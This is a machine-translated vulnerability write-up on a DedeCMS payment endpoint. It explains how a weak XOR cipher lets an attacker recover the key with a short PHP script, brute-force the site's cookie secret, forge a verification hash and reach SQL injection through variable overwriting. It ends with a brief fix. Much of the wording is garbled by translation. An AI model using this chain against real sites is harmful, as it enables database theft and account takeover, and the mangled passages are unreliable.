Some people brushed N more DedeCMS holes a year ago. I personally said that they were speechless and roughly looked at them. These holes had too many limitations. one sentence: as long as the GPC was opened, they could not be used... ask which idiot will turn GPC off now... 98% is open, so which... today, this hole ignores GPC. Where are you so cool... I also concluded in one sentence that it is very pornographic and violent! #1 vulnerability code Tips: the entire process $ _ SERVER ["HTTP_USER_AGENT"] is set to null
/Member/buy_action.php code is as follows (only key code is pasted) if (isset ($ pd_encode) & isset ($ pd_verify) & md5 ("payment ". $ pd_encode. $ pai_cookie_encode) ==$ pd_verify) {parse_str (mchStrCode ($ pd_encode, 'decode'), $ mch_Post); foreach ($ mch_Post as $ k => $ v) $ k = $ v; $ row = $ dsql-> GetOne ("SELECT * FROM dede_member_operation WHERE mid = '$ mid' And sta = 0 AND product = '$ product'"); if (! Isset ($ row ['bucketid']) {ShowMsg ("Please do not submit the form again! ", 'Javascript:; '); exit ();} if (! Isset ($ paytype) {ShowMsg ("select the payment method! ", 'Javascript:; '); exit () ;}$ buyid = $ row ['bucyid'];}
Let's take a look at the key encryption function mchStrCode () 168 lines.
function mchStrCode($string,$action='ENCODE'){ $key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18); $string = $action == 'ENCODE' ? $string : base64_decode($string); $len = strlen($key); $code = ''; for($i=0; $i<strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } $code = $action == 'DECODE' ? $code : base64_encode($code); return $code;}
#2 the reverse encryption function focuses on this line of code $ code. = $ string [$ I] ^ $ key [$ k]; it can be seen that this encryption algorithm is weak and adopts simple exclusive or operations. We know that exclusive or operations are reversible algorithms, for example, the encryption algorithm: ciphertext = plaintext ^ The ciphertext, plaintext, and key in the key can be easily calculated as long as you know two of them. Generally, we only know the ciphertext, however, if we know the plaintext corresponding to the ciphertext, even if it is only a part of it, let's see if DedeCMS does not give us this opportunity to go to the member center member upgrade/card recharge area, if you want to purchase a new card, you can select a moderate type. Click "buy" and pay for it. The packet capture has the following ciphertext: pd_encode = plaintext. Let's take a look at the corresponding plaintext: product = card & pid = 1 & DedeUserID = 8 & DedeUserID _ ckMd5 = login & PHPSESSID = login & DedeLoginTime = 1393217459 & DedeLoginTime _ ckMd5 = login & ENV_GOBACK_URL =/dedecms/member /operation. php analysis shows that 1. product = card & pid = 1 & DedeUserID = basically unchanged 2. /member/operation. php will not change. 3. PHPSESSID = 2bb41dc4ba292f722ac1606a35da3b0b can be known from cookies... next let's take a look at the length of the encryption key: $ key = substr (md5 ($ _ SERVER ["HTTP_USER_AGENT"]. $ GLOBALS ['cfg _ cookie_encode ']), 8, 18); obviously, the key length is 18 SO. In summary, DedeCMS does give us this opportunity, so that we can reverse obtain the encryption key used by the mchStrCode () function #3 get the encryption key. Based on the encryption algorithm, we can easily write the reverse algorithm.
<?php$mingwen="product=card&pid=1&DedeUserID=";$miwen='QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA';$miwen=base64_decode(urldecode($miwen));$len=strlen($mingwen);for($i=0;$i<strlen($mingwen);$i++){$key .= $miwen[$i] ^ $mingwen[$i];}echo "Key is: ".$key;?>
The running result is as follows: we can see that the 03d5a65a8a575c3964 operation is repeated, so the encryption key is: 03d5a65a8a575c3964 #4. By analyzing the encryption function, we can reverse the encryption key, next we will proceed to code details 4.1: Generation of encryption keys:
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
4.2 conditions for entering the vulnerability code
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
Pay attention to the following conditions:
md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify
A global variable comes to our eyes: $ pai_cookie_encode cookie encryption key #3 the global variable $ pai_cookie_encode is obtained after the analysis of the encryption function, and the encryption key can be reversed, the calculation of the encryption key uses $ pai_cookie_encode, that is, the encryption key = md5 (UA. $ pai_cookie_encode) and UA can be forged. If we set UA to null, the encryption key is equal to: substr (md5 ($ pai_cookie_encode), 8, 18) can we obtain $ cookie_encode through brute-force cracking after obtaining the encryption key? Let's take a look at how $ cookie_encode is generated.
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
We can see that the length of $ cookie_encode is 10 characters, format: [A-Z] [a-z] [A-Z] [A-Z] [a-z] [0-9] [0-9] [0-9] [0-9]] [A-Z] very regular, right, and we get the encryption key 03d5a65a8a575c3964 in #3. Then, remove the last two digits as the 16-bit MD5 value of $ pai_cookie_encode (Why remove the next two digits, google DedeCMS encryption algorithm ). So what are the results of configuring EGB brute force cracking? Note: the website is the egb.exe 64-bit paid version which can be cracked in a short time #5 the vulnerability is exploited in the next article. Good! After obtaining $ pai_cookie_encode, let's take a look at the vulnerability code.
If (isset ($ pd_encode) & isset ($ pd_verify) & md5 ("payment ". $ pd_encode. $ pai_cookie_encode) ==$ pd_verify) {echo $ pd_encode. "<br>"; echo mchStrCode ($ pd_encode, 'decode'); exit; parse_str (mchStrCode ($ pd_encode, 'decode'), $ mch_Post ); foreach ($ mch_Post as $ k => $ v) $ k = $ v; $ row = $ dsql-> GetOne ("SELECT * FROM dede_member_operation WHERE mid = '$ mid' And sta = 0 AND product = '$ product'"); if (! Isset ($ row ['bucketid']) {ShowMsg ("Please do not submit the form again! ", 'Javascript:; '); exit ();} if (! Isset ($ paytype) {ShowMsg ("select the payment method! ", 'Javascript:; '); exit () ;}$ buyid = $ row ['bucyid'];}
Focus on these three lines of code
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);foreach($mch_Post as $k => $v) $$k = $v;$row = $dsql->GetOne("SELECT * FROM dede_member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
After $ pd_encode is decrypted, The parse_str variable overwrites $ product and then directly enters the SQL query statement, resulting in an injection vulnerability. However, these three statements have the md5 condition ("payment ". $ pd_encode. $ pai_cookie_encode) ==$ pd_verify focuses on whether the equation is true. We can analyze and analyze $ pd_encode, which can be controlled by us, and $ pd_verify can also be controlled, $ pai_cookie_encode: The variable in #4 has been successfully cracked in the previous article. Therefore, we can also control it. All the variables are controlled by us. Is it still true? SO... $ faster _cookie_encode breaks through. Shenma is a small KS... #6. The vulnerability uses the POC vulnerability to focus on vulnerability analysis. The method used to break through the vulnerability is to only provide the POC of the vulnerability to prove that the vulnerability exists. This vulnerability focuses on the reverse of the system encryption algorithm and the idea of getting $ __cookie_encode. Only the POC is provided for the vulnerability.
Solution:Use strong encryption algorithms. For more information, see PHPCMS algorithms.